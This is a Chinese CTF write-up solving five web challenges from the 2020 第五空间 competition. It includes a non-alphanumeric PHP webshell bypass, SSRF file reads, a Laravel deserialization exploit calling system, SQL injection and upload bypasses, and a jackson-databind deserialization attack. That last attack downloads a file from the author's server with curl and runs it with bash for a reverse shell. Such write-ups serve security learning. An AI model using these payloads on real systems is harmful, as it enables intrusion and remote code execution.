2020 第五空间 Web Writeup - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com

2020 第五空间 Web Writeup

一叶飘零 技术 2020-07-20 11:20:00
收藏

导语:近日参加了第五空间的比赛,以下是比赛中Web的所有题解。

前言

近日参加了第五空间的比赛,以下是比赛中Web的所有题解。

hate-php

拿到题目后,题目给出了源码:

<?php
error_reporting(0);
if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code = $_GET['code'];
    if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) { 
        die('You are too good for me'); 
    }
    $blacklist = get_defined_functions()['internal'];
    foreach ($blacklist as $blackitem) { 
        if (preg_match ('/' . $blackitem . '/im', $code)) { 
            die('You deserve better'); 
        } 
    }
    assert($code);
}

不难发现题目中有2项过滤,一个是正则匹配:

if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code))

另一个是黑名单函数禁用:

$blacklist = get_defined_functions()['internal'];
foreach ($blacklist as $blackitem) { 
if (preg_match ('/' . $blackitem . '/im', $code)) { 
    die('You deserve better'); 
    } 
}

这里考虑使用无字母webshell进行bypass,详细文章参考:

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

我们进行如下构造:

var_dump   ~%89%9E%8D%A0%9B%8A%92%8F
scandir       ~%8C%9C%9E%91%9B%96%8D

然后将其组合在一起,并列举当前目录:

http://121.36.74.163/?code=(~%89%9E%8D%A0%9B%8A%92%8F)((~%8C%9C%9E%91%9B%96%8D)(~%D1))

得到回显如下:

array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(8) "flag.php" [3]=> string(9) "index.php" }

读取flag.php:

readfile    %8D%9A%9E%9B%99%96%93%9A
flag.php   %99%93%9E%98%D1%8F%97%8F

访问:

http://121.36.74.163/?code=(~%8D%9A%9E%9B%99%96%93%9A)(~%99%93%9E%98%D1%8F%97%8F)

随即得到flag:

<?php
$flag = 'flag{ecee9b5f24f8aede87cdda995fed079c}';

do you know

题目上来也给予了源代码:

$value)
{
        $url=$value;
}
$ch = curl_init();
    if ($type != 'file') {
        #add_debug_log($param, 'post_data');
        // 设置超时
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    } else {
        // 设置超时
        curl_setopt($ch, CURLOPT_TIMEOUT, 180);
    }
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    // 设置header
    if ($type == 'file') {
        $header[] = "content-type: multipart/form-data; charset=UTF-8";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    } elseif ($type == 'xml') {
        curl_setopt($ch, CURLOPT_HEADER, false);
    } elseif ($has_json) {
        $header[] = "content-type: application/json; charset=UTF-8";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    }
    // curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)');
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
    // dump($param);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
    // 要求结果为字符串且输出到屏幕上
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    // 使用证书:cert 与 key 分别属于两个.pem文件
    $res = curl_exec($ch);
    var_dump($res);

我们发现index.php中有一个curl的功能,同时提示我们有xxe.php的页面:

loadXML($data, LIBXML_NOENT);
    ob_start();
    var_dump($dom);
    $resp = ob_get_contents();
    ob_end_clean();
    
}
?>

同时看到题目提示main.php和hints.php,那么考虑应该使用XXE进行读取,但有Ip限制:

if($_SERVER["REMOTE_ADDR"] !== "127.0.0.1"){
die('show me your identify');
}

因此考虑使用index.php的curl功能进行bypass,进行SSRF+XXE。

但是遗憾的是,在分析题目waf,尝试bypass时,发现题目的一些弊端:

$poc=$_SERVER['QUERY_STRING'];
if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){
                die("no hacker");
        }

我们看到index.php的限制,发现其没有考虑urldecode的问题,那么导致我们可以使用url编码进行绕过,从而可以使用file或者flag等关键词:

 

%66%69%6c%65%3a%2f%2f%2f%65%74%63%2f%70%61%73%73%77%64

因此,只要可以进行curl请求,那么我们就可以直接读取hints.php或者main.php,题目出现较为严重的非预期。

那么如何使用curl的功能呢?我们同样可以使用url编码进行绕过:

/?%75rl=skysec&url=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70

至此我们就可以读取任意文件内容了,首先读取file:///etc/passwd,进行测试:

/?%75rl=skysec&url=%66%69%6c%65%3a%2f%2f%2f%65%74%63%2f%70%61%73%73%77%64

2020-06-25-09-00-30.png

发现页面成功回显,那么尝试读取hints.php,这里使用常见web目录/var/www/html:

/?%75rl=skysec&url=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%68%69%6e%74%73%2e%70%68%70

2020-06-25-09-02-04.png

再读main.php:

/?%75rl=skysec&url=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%6d%61%69%6e%2e%70%68%70

2020-06-25-09-02-39.png

发现存在flag.php,于是读取:

/?%75rl=skysec&url=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70

2020-06-25-09-03-12.png

随即拿到flag。

laravel

又是一道laravel pop chain的寻找题,这题都出烂了啊= =,感觉laraval已经被CTF日穿了,233333.

首先看到laraval版本号:

2020-06-25-09-04-52.png

然而我们最常用的PendingCommand类的__destruct方法已经被禁止了。于是搜寻新chain,这里同样还是从__destruct方法切入,全局搜索__destruct方法,发现如下路径中,存在ImportConfigurator类,其拥有__destruct方法:

Loader/Configurator/ImportConfigurator.php

2020-06-25-09-08-48.png

其中__destruct方法中,parent属性调用了addCollection方法,同时parent可控,那么此时如果找到一个拥有__call函数的类,并将parent赋值为其对象,即可触发__call,于是我们全局搜索__call方法:

发现在如下路径中,存在Generator类:

src/Faker/Generator.php

2020-06-25-09-10-27.png

其具有__call方法,我们再跟进format方法:

2020-06-25-09-10-46.png

发现存在敏感调用点:

call_user_func_array

至此我们可以想到构造链为:

ImportConfigurator  __destruct
->
Generator   __call
->
Generator  format
->
call_user_func_array

但在简单构造后,我们本地测试,可以发现如下报错:

2020-06-24-14-43-28.png

查看Generator类相应源码:

2020-06-24-14-43-39.png

发现我们可以利用数组进行bypass:

class Generator{
        protected $formatters = array('addCollection'=>'system');
}

那么可以容易构造出如下exp:

'system');
    }
}
namespace Symfony\Component\Routing\Loader\Configurator
{
    class ImportConfigurator
    {
        private $parent;
        private $route;
        public function __construct($parent, $route)
        {
            $this->parent = $parent;
            $this->route = $route;
        }
    }
}
namespace RCE
{
    $a = new \Faker\Generator();
    $b = new \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator($a,'RCE CMD');
    $exp = serialize($b);
    echo urlencode($exp);
}

首先列目录:

2020-06-24-14-50-55.png

再读根目录:

2020-06-24-14-50-42.png

发现flag文件,并读取:

2020-06-24-14-50-22.png

美团外卖

首先进行目录扫描,发现www.zip文件泄露,随即进行代码审计,发现daochu.php功能非常可疑,同时不需要登录,并且存在sql注入点:

if($type==1){
$biao='content';
$result = mysqli_query($link,'select * from '.$biao.' where imei="'.$imei.'" and  imei2="'.$imei2.'"');
echo '';
echo 'usercodenamephonenumber';
while ($row = mysqli_fetch_assoc($result)){
    echo "".$row['imei']."".$row['imei2']."".$row['name']."".$row['tel']."";
}
echo '';
}

此时我们发现$type,$imei,$imei2均为可控点:

header("Content-type: text/html; charset=utf-8");
require_once('common/Db.php');
header("Content-Type: application/xls");   
$type=$_GET['type'];
if($type==1){$a='通讯录';}
if($type==2){$a='短信';}
header("Content-Disposition: attachment; filename=".$_GET['imei']."-".$a.".xls");  
header("Pragma: no-cache"); 
header("Expires: 0");
$imei=$_GET['imei'];
$imei2=$_GET['imei2'];

同时sql查询无过滤,于是尝试读取信息,发现数据库中存在hint表:

2020-06-24-16-08-56.png

在其中得知一个目录信息,在该目录下,我们发现源码中存在的组件lib/webuploader/0.1.5/server/preview.php,可以使用,而在最初的目录是不可用的。

同时该组件存在一些上传漏洞,参考链接如下:

https://9finger.cn/2020/03/06/CNVD-2018-26054%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/

但是由于过滤了php,于是我们选择使用phtml进行bypass:

2020-06-24-16-18-29.png

题目又给了下一个文件,我们访问后,提示我们需要传入file参数,于是测试:

2020-06-24-16-19-30.png

发现可以读取/etc/passwd,那么尝试读取flag文件:

2020-06-24-16-19-49.png

zzm's blog

题目给予了pom.xml的文件,我们查看发现:

2020-06-25-09-22-43.png

题目使用了jackson-databind 2.9.8,但是其存在CVE-2019-12086的隐患。于是可以参考链接:

https://paper.seebug.org/1227/#71-fnmsd

发现有现成工具可用:

https://github.com/fnmsd/MySQL_Fake_Server

其可以帮助我们进行反序列化攻击,于是将其部署,同时发现题目存在commons-collections:

2020-06-25-09-24-49.png

于是我们使用ysoserial的CommonsCollections chain进行测试,这里我选择了CommonsCollections5:

GET 
/?query={"id"%3a["com.mysql.cj.jdbc.admin.MiniAdmin",+"jdbc%3amysql%3a//vps_ip%3a23334/test%3fautoDeserialize%3dtrue%26queryInterceptors%3dcom.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor%26user%3dyso_CommonsCollections5_bash+-c+{echo,base64_cmd}|{base64,-d}|{bash,-i}"]}

发现可以成功打通,于是执行如下命令,尝试反弹shell

curl -o/tmp/evil vps
/bin/bash /tmp/evil

让目标服务器来访问恶意文件并保存至/tmp目录下,再执行进行shell反弹:

2020-06-24-17-42-47.png

然后可以轻松获取flag : flag{90d88050-42fc-4dc6-9b10-b40b82e44495}

后记

总的来说,比赛比去年举办的有些意思了,至少没有一直发生宕机,或者出题人自己都不懂题目原理的情况,像laravel的chain的寻找和zzm's blog的cve复现,感觉都还行~

如若转载,请注明原文地址
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论